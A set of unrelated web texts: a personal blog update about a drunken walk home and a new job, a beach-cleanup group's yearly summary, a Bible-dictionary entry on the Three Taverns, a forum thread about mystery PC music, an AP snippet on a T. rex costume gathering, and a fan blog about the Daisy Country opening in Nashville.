I went to a party last night, and, drunk on tequila and without a ride/too proud to ask for one, I decided it would be a good idea to walk home more than ten miles at midnight. I got home around two hours later, thanks to a guy in a multi-coloured ice cream truck who gave me a ride part of the way. At one point, I decided it would be a good idea to take off my shoes, and run barefoot along the street (the things tequiala makes me do!). While I was still wearing the shoes, I must have stepped on some kind of plant or foliage, the residue of which remained on the shoes. Since I had to carry the shoes while I running Zola Bud-like through the streets, I imagine that this residue must have got on my hands, and that I then touched my eyes, and face. By the time I got home my eyes were swollen so much that I could barely see out of the right one. I got a bit of a shock when I looked in a mirror because I had no idea how bad I looked. The swelling has gone down, but I can't leave the house today lest I scare young children. It looks like I've developed elephantiasis of the eyelids.
Besides being temporarily deformed, what else is up with me, you are perhaps wondering? Still working at the same customer service job, but I got a promotion and will soon be earning $42,500! This might not be much for some of you, but it is the most I have ever made in my entire adult life, so I am pleased. It goes without saying that the extra money will come in handy. I may work for corporate America, but I like the company I work for, as they treat me well and seem to appreciate me. This is rare in any job, so I feel that I've been incredibly lucky.
MM is also now working for the same company, but he's a temporary contractor, which is how I started off there (so hopefully he will get hired on as a regular employee too, with benefits and a pay raise). His days as a barista are now (thank fuck!) behind him. This is good for obvious financial reasons, but it also helps me respect him more because there comes a point in the life of a thirty-something artist when you need to aspire to something more than making lattes. If your art career is taking off on the side, then working in a café would be fine, but if it's not….then, well, you need to come up with a Plan B. It took MM a loooooong time to accept the fact that he needed a Plan B but he got there in the end.
Now we are both "adults" with "proper" jobs….whatever that means. We're actually thinking about buying a house in an area about eleven miles east of downtown where we would be able to get (hopefully!) a USDA loan. If we did, we could buy a 2000 sq feet house with zero down payment! Home ownership would obviously tie me down here even more, which is a scary thought, but I'm tired of throwing away money to asshole landlords who don't fix shit. And it is very stressful living in rental accommodation with ten pets since you have to lie about the existence of nearly all of them.
Creatively, things could be better. I don't really write anymore. I keep on meaning to create my own website where I would write about more serious issues (not just "woe is me" personal stuff) but I never seem to get around to it. I *am*, however, in a music project with a guy who really forces me to get things done. If it was up to me I would get nothing done because I'd procrastinate. Hopefully we should be playing out soon.
Things are definitely looking up although I am still involved, from time to time, in the sex industry without MM's knowledge. This doesn't make me feel good about myself at all, but I have so much debt, and I just cannot make ends meet. Once 2012 is over, I will have paid off nearly everything, and will be able to relax a little. To be honest, the main reason I don't update this blog more often is perhaps that I am uncomfortable writing about this topic. I am not plagued with guilt about what I do because, well, I try not to give it much thought. However, if I were to come on here and start writing about it, I would have to analyze my life more and I am very happy NOT doing that, thank you very much.


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To improve beach and water quality at Euclid Beach State Park through volunteer cleanups, education and advocacy to ensure a healthy Great Lakes and clean water for generations of people and wildlife.
The Euclid Beach Adopt-a-Beach Team is a volunteer organization and partner of the Alliance for The Great Lakes, a non-profit dedicated to sustaining, improving and educating people about the health of our lakes and beaches. For the past two years through monthly beach cleanups, Adopt-a-Beach volunteers have picked up close to 2,000 pounds of trash and recyclables at Historic Euclid Beach State Park alone!
But this is abouti a lot more than just picking up trash on the beach! Take a look at what we did in 2011:
- Close to 320 volunteers participated in beach cleanups at Euclid Beach and Edgewater Beach State Parks in 2011. That's close to 690 volunteer hours and at $7.70 an hour that would be over $5,300 of volunteer work in the parks!
- Invested close to $10,000 in 2011 at Euclid Beach and Edgewater Beach State Parks through the installation of new recycling and trash bin stations, anti-litter and anti-smoking signage and cigarette butt containers thanks to grants from the Ohio Department of Natural Resources, Neighborhood Connections, The Cuyahoga Solid Waste District and generous donations from community groups and residents.
- Formed partnerships with other volunteer groups at Edgewater State Park including The Friends of Edgewater and Drink Local Drink Tap to better coordinate volunteer efforts and share resources.
- Partnered wth Arts Collinwood and Project Pop Up Galleries to organize the Euclid Beach Blast! this past summer, an all-day event that featured sand castles, art, food, live music and beach cleanups!
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a place on the great "Appian Way," about 11 miles from Rome, designed for the reception of travellers, as the name indicates. Here Paul, on his way to Rome, was met by a band of Roman Christians ( Acts 28:15 ). The "Tres Tabernae was the first mansio or mutatio, that is, halting-place for relays, from Rome, or the last on the way to the city. At this point three roads run into the Via Appia, that from Tusculum, that from Alba Longa, and that from Antium; so necessarily here would be a halting-place, which took its name from the three shops there, the general store, the blacksmith's, and the refreshment-house...Tres Tabernae is translated as Three Taverns, but it more correctly means three shops" (Forbes's Footsteps of St. Paul, p.20).
M.G. Easton M.A., D.D., Illustrated Bible Dictionary, Third Edition,
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Bibliography InformationEaston, Matthew George. "Entry for Taverns, The three". "Easton's Bible Dictionary".


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There is music coming from my PC
and I have absolutely no idea why :|
is it that annoying avdvert at the bottom?
you can click stop in the top right.
or download some kind of ad blocker thing. which i had never done before, but have now. entirely due to that advert.
so if any potential advertistisers
are thinking of paying to have their adverts on this site. then i wont see them.
advertistisers. that's what i said.
No, it's some weird trance
I've close everything and it's still playing :|
that's pretty scary...
I have
There's nothing there :'(
'is it turned on at the wall sir'? ;)
It's not your mp3 player somewhere in your room?
i did this recently and it drove me nuts for thirty minutes before i realised what it was.
Nope, definitely coming from my PC
I think it might have something to do with having just installed Cubase, but I've close that now, and even when it was open, there was no indication that anything should be playing.
i did that in berlin once
i was walking round a bookshop thinking "wow, they're playing blink 182, very quietly, but they are. cool. you'd never get that back home." then i realised it was come from the minidisk player in my bag :(


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PORTLAND, Maine (AP) — A horde of people dressed in inflatable Tyrannosaurus rex dinosaur costumes are set to descend on Portland's Monument Square.
A Facebook event set up by Alison Cyr and Valerie Sanborn calls for more than 100 people in T. rex costumes to arrive Saturday around 3 p.m. to dance around. Sanborn tells WGME-TV the idea for the event started when Sanborn bought her own costume for $50 online.
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Settle in, this is a big one. The Grand Opening of Daisy Country in Nashville was a huge success! I had such a great time!
Daisy Country is the center of all things Daisy Duke. From Dukes of Hazzard memorabilia to Catherine Bach's unique fashion, Daisy Country has it all. It is located behind Cooter's Place on McGavock Pike in Nashville.
A highlight for me was finally getting to meet Cody Wells of C3Brix in person. We've been talking on the phone, texting and interacting on Twitter for over a year now, but never met face to face. Now we're basically best buds. I spent a lot of time with Cody over the long weekend and enjoyed every minute of it. Cody is a great guy and knows just about everything there is to know about Lego. He has been a Dukes fan since the beginning but had never experienced a Dukes event before. He loved it.
Along with designing the wonderful limited edition Lego General Lee that was sold at the event, Cody surprised Catherine with a absolutely stunning Lego portrait. It was the hit of the weekend. This gigantic work of art is made up of over 27,000 standard Lego pieces and is just amazing to look at. Another reason you have to visit Daisy Country is to see the portrait for yourself. It is amazing.
One more part to the story I have to introduce is my rental car for the weekend. Last time I rented a sweet white Dodge Challenger. This time they didn't have any Challengers, so I asked "do you have anything orange?" They didn't disappoint with this great orange Mustang. I know that Mustangs are usually "bad guy" cars on the Dukes, but this car was all good and was sure a lot of fun to drive around. Love the color.
After finally meeting Cody in person at the hotel Thursday morning, and then meeting up with Miss Alma, Ben, and Catherine, the fun began. We caravanned all over Tennessee and Kentucky. Our first stop was a radio interview that was a lot of fun.
Everywhere we went people we taking so many pictures. I'm not sure if Cody was prepared for his Dukes celebrity status.
We stopped by WBKO where Catherine and Ben did a live interview promoting the Grand Opening on Midday Live. They did a very nice segment where they discussed the show and the store and all kinds of fun stuff.
After a commercial break, they came back to a segment with Cody and his masterpiece. My Lego General Lees even made cameos. It was a great piece and the anchors had a great time talking Dukes. Cody did great too. This isn't his first rodeo: he's been on the Steve Harvey Show, Wake Up New York, the WWE Network, and other shows showing off his Lego skills.
You can view both segments on WBKO's website here.
When we arrived at WBKO, there was a high school class touring the studio. They were really excited to see actual Dukes of Hazzard stars. I loved seeing the kids and interacting with them. My mom taught TV/Drama for years at Brownsville Area High School and we went on several field trips like this. After I graduated college, I was the media adviser for her TV program and went on more trips. It's great to see a similar program having as much fun as we did.
Before we left, the class took a group shot with our stars, Catherine, Ben, and Cody...and of course the Lego Daisy Duke.
Next up was a fun interview on SOKY Sunrise on WNKY with Victoria Devon. It was a lot of fun and Victoria was definitely a Dukes fan.
Thursday evening when we got back to the store, Cody placed the larger Lego General Lee on display in Cooter's Place. He donated the car in memory of his Grandfather, Jack Caselman. There are only four of these special highly detailed 1.25 scale Lego General Lees in existence. I'm very proud to own one.
Friday was all about preparation. I was with Miss Alma most of the day getting prepared for the big day. Cody spent a majority of his day sorting the last few Lego sets. He set up camp in the lobby of our hotel and went to work. I spent some time with him there. It was very funny to see hotel guests trying to figure out what he was up to. Look at all those glorious orange bricks.
I had to play with the 01 pieces. They are just so cool.
On Saturday morning, everyone got an early start. The Dukes of Hazzard car owners always make an event at Cooter's special by parking their great cars out front.
If you were driving down McGavock Pike and saw these wonderful cars parked outside the Dukes of Hazzard museum, you would have to stop!
The fans lined up early to meet sweet Daisy.
We even had a General Lee Challenger. The Gen'rals all looked great.
It was very fitting that there was a Daisy Plymouth front and center at the Grand Opening of Daisy Country!
We had a ribbon cutting ceremony and I got to play with the giant scissors. I have no idea where Miss Alma got these things, but they sure were cool. Unlike the giant scissors on Arrested Development, they worked perfectly. Man, they were so big.
We had a very nice crowd for the ribbon cutting. Dukes fans are the best.
Right away, Ben and Catherine went to signing autographs. This guitar was autographed by several Dukes cast members. Ben even commented that it was signed by Don Pedro Colley, Sheriff Little.
The cameras kept rolling and a local Fox affiliate popped in to interview Catherine and Ben.
Catherine was hard at wok all day making sure every fan was happy. The new Daisy Country design on the wall made for the perfect backdrop for pictures.
New friend, Ryan, brought his General Lee and it was his first time at a Dukes event. He had a blast. Here is Ben signing the dash of his car. Cody and I spent some time hanging out with Ryan and pals Friday night in the parking lot talking Dukes. So much fun.
The wonderful Lisa Meadows was on hand to entertain. She brought her lovely daughter Nikki along to the event.
Over in the events room behind the store, it was all Legos!
Everyone was hard at work putting together their Lego General Lees. Cody hosted the classes and they included building challenges and all sorts of fun. Everyone had a blast.
Cody helped several attendees build their cars, but most people were able to do it themselves.
The kids especially had a great time merging two of their favorite activities, Dukes and Legos.
One of the challenges Cody planned was to have kids bring their Dukes Lego creations from home. David York from North Carolina was the big winner with his awesome Dixie Jeep. David took home Cody's first place trophy.
David's Dixie Jeep is really great. I'd add that bad boy to my collection. I think David might have a future in Lego design. Look out Cody!
Cody really loves Legos and the way they bring families together. He had a great time sharing his Lego abilities with so many Duke fans. The Lego classes by C3Brix at the Grand Opening of Daisy Country were very special.
Legos weren't the only things customized at the big event. Friend of the blog, J. R. Garrett, built a great diorama containing the famed 71 car from the Georgia episode "Repo Man". J.R. was very proud of his creation and he did an excellent job. Cooter really loved the display. Great job, J.R.!
Tubio Bethards also brought a great display to show off at Cooter's. Here he is is showing off his Cooter's outfit and daughter. J.R. also makes a cameo in this picture.
Tubio and his family built this display of Cooter's Garage and everyone loved it.
The detail is amazing and there are several episode specific Easter Eggs hidden throughout the display. Tubio has true talent, and it shows in his work.
Tubio even customized his truck to be all Dukes.
One more really cool custom that I saw was this huge remote control tow truck that trailered a 1/10 scales RC General Lee. It was huge. Ben really loved it too.
One of my favorite things to do at Dukes events is just hang out with likeminded Dukes fans. While fans are in line for autographs, I love to just start up conversations with folks. I meet the greatest people at Dukes events.
Ben was in and out throughout Saturday. Some fans were lucky enough to grab an autograph. He signed some cars each time he went through.
The Dukes cars in attendance are amazing. I love being around the General Lee.
This Duked up Challenger was a crowd pleaser.
A Gen'ral doesn't have to be spotless to be a hit. Every time this car shows up, there are always rumors that it was used on the show and left like that. We can spot clear evidence that it's not show used, but it still brings smiles.
We even have General Lee motorcycles. We first saw this beauty at Hazzard Homecoming.
How can you not love seeing so many great Dukes cars. Dukes events are so much fun. Hey look, there is PR Extraordinaire Amy Burge!
Sunday was another memorable day in Hazzard County. I started off by taking a picture with the Mustang and the Oscar Meyer Weinermobile. Always a good way to start the day.
While some of the General Lee owners were still setting up, I seized the opportunity to snap some pictures of the Mustang beside a Gen'ral. I'll admit, my rental car can't hold a candle to the hero of Hazzard County.
Cody also grabbed some pics with the Gen'ral.
Ben was signing some autographs Sunday morning before the brunch. He wasn't the only one. Cody signed a few Lego General Lee Collector Tins.
The big event on Sunday was the brunch. The nearby Nashville Palace once again hosted an intimate event that really made Dukes fans happy. Lisa Meadows opened the show while brunch was served.
A limited number of tickets were sold and there was a nice crowd on hand.
Catherine and Ben had a lot of fun and you just knew Ben was going to sing a little.
Cody talked about his creation and his love for the Dukes.
I had the privilege of once again hosting a Q&A with Catherine and this one also included Ben. I prepared some questions and the fans also came up with some great ones. I love running around the crowd with a microphone in my hand.
The stories that Ben and Catherine shared are so special and make these events so great. At a signing, you get a few minutes but probably can't remember that burning question you always wanted to ask Daisy Duke. At our brunches, you have the opportunity to ask that question and hear others as well. I love the Dukes Q&As. I was really happy that fans even had questions for Cody during the Q&A.
After the activities wrapped up, everyone lined up for more autographs. I buzzed around the room talking to fellow fans. So much fun.
Cody made some great connections and really enjoyed his time there. I bet he makes some portraits for some of the people there.
Ben has so much fun talking to fans. The fans love it too. We all love Ben Jones.
Cody and I had to snap some pictures with the man before he left. Thank you Ben for everything you've done for the world of the Dukes of Hazzard.
Catherine went back to her store to sign some more autographs. Cody and I carried the huge portrait back in and asked her to sign it.
She said if she doesn't like what she wrote, she can always put new Lego bricks on it. The portrait sure was a hit of the weekend.
Cody had a blast meeting some of his heroes. I think Catherine was just as excited meeting him.
I had so much fun. Thank you Catherine. We're so happy you added Daisy Country to the Cooter's Place family.
I sent it out immediately and he already sent me a picture of his new Lego proudly displayed in his Dukes collection. Enjoy, Paul!
Daisy Country is a wonderful place that every Dukes fan should visit. Catherine Bach has created a destination for fashion, Daisy Duke, and just plain fun. You need to check it out.
I got a new great buddy in Cody. I am confident that we will see more Lego Dukes in the near future. Great job this weekend, Cody. You've added something very unique to the world of Dukes Collecting.


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